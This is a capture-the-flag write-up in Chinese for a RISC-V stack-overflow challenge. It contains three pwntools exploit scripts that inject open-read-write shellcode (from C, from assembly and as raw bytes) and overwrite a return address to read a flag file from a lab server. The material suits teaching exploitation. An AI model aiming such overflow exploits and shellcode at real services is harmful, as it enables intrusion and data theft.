题目要求：Capture /home/pwn/flag
因为只是读文件，故直接手写orw即可，没有open可以用openat替代。openat中，若路径是绝对路径，则直接忽略文件夹的文件描述符，man手册：`openat(): If pathname is absolute, then dirfd is ignored.` 故shellcode要完成的就是如下功能：
```copenat(0,"/home/pwn/flag",0);read(f,buf,100);write(1,buf,100);```
经过docker调试，远程的shellcode存放的栈地址是`0x4000800b48`，之后便可以写exp了
> c代码源码版shellcode，看起来的确简洁易懂
```pythonfrom pwn import *import oscontext(log_level="debug")io = remote("10.10.10.1",8888)
def gen_shellcode(shellcode):    f = open("shellcode.c","w");f.write(shellcode);f.close()    os.system("riscv64-linux-gnu-gcc -e main -nostdlib  -Os -static shellcode.c -o shellcode")    os.system("riscv64-linux-gnu-objcopy --dump-section .text=sc.bin shellcode")    f = open("sc.bin","rb");sc = f.read();f.close()    return sc
shellcode = '''void * syscall();__attribute__((section(".text"))) char flag_path[] = "/home/pwn/flag";
int main() {    char buf[100];    int f =     syscall(56,0,flag_path,0);  // openat  =  56    syscall(63,f,buf,100);      // read    =  63    syscall(64,1,buf,100);      // write   =  64    syscall(93);                // exit    =  93}
asm(    "syscall:\\n"    "mv a7, a0\\n"    "mv a0, a1\\n"    "mv a1, a2\\n"    "mv a2, a3\\n"    "ecall\\n"    "ret\\n");'''
sc = gen_shellcode(shellcode)io.sendline(sc.ljust(288,b'a')+p64(0x4000800b48))io.interactive()```
> 汇编源码版shellcode：
```pythonfrom pwn import *import oscontext(log_level="debug")io = remote("10.10.10.1",8888)
def gen_shellcode(shellcode):    f = open("shellcode.s","w");f.write(shellcode);f.close()    os.system("riscv64-linux-gnu-gcc shellcode.s -c")    os.system("riscv64-linux-gnu-ld shellcode.o -o shellcode")    os.system("riscv64-linux-gnu-objdump -d ./shellcode")    os.system("riscv64-linux-gnu-objcopy -O binary --only-section=.text shellcode shellcode.text")    f = open("shellcode.text","rb");sc = f.read();f.close()    return sc
shellcode = '''    .global _start    .text_start:    li s1, 0x77702f656d6f682f   # Load "/home/pwn/flag" backwards into s1 & s2    li s2, 0x000067616c662f6e    sd s1, -16(sp)              # Store dword s1 on the stack    sd s2, -8(sp)               # Store dword s2 on the stack    slt a0,zero,-1              # a0 = argv set to 0    addi a1,sp,-16              # a1 = filename = sp + (-16)    slt a2,zero,-1              # a2 = envp set to 0    li a7, 56                   # openat = 56    ecall                       # Do syscall: openat(0,"/home/pwn/flag",0)
    addi a1,sp,-100             # a1 = sp + (-100)    li a2,100                   # a2 = 100    li a7, 63                   # read = 63    ecall                       # Do syscalls: read(flag,sp-100,100)
    li a0,1                     # a0 = 1    addi a1,sp,-100             # a1 = sp + (-100)    li a2,100                   # a2 = 100    li a7, 64                   # write = 64    ecall                       # Do syscalls: write(1,sp-100,100)
    li a7, 93                   # exit = 93    ecall                       # Do syscalls: exit()'''
sc = gen_shellcode(shellcode)io.sendline(sc.ljust(288,b'a')+p64(0x4000800b48))io.interactive()```
> 汇编二进制版shellcode：
```pythonfrom pwn import *context(log_level="debug")io = remote("10.10.10.1",8888)
sc  = b"\xb7\x84\xbb\x03\x9b\x84\xb4\x17"sc += b"\xb6\x04\x93\x84\xd4\x56\xb2\x04"sc += b"\x93\x84\x74\x6f\xb2\x04\x93\x84"sc += b"\xf4\x82\x37\xe9\x19\x00\x1b\x09"sc += b"\xb9\x85\x3a\x09\x13\x09\x39\x66"sc += b"\x32\x09\x13\x09\xe9\xf6\x23\x38"sc += b"\x91\xfe\x23\x3c\x21\xff\x13\x25"sc += b"\xf0\xff\x93\x05\x01\xff\x13\x26"sc += b"\xf0\xff\x93\x08\x80\x03\x73\x00"sc += b"\x00\x00\x93\x05\xc1\xf9\x13\x06"sc += b"\x40\x06\x93\x08\xf0\x03\x73\x00"sc += b"\x00\x00\x05\x45\x93\x05\xc1\xf9"sc += b"\x13\x06\x40\x06\x93\x08\x00\x04"sc += b"\x73\x00\x00\x00\x93\x08\xd0\x05"sc += b"\x73\x00\x00\x00"
io.sendline(sc.ljust(288,b'a')+p64(0x4000800b48))io.interactive()```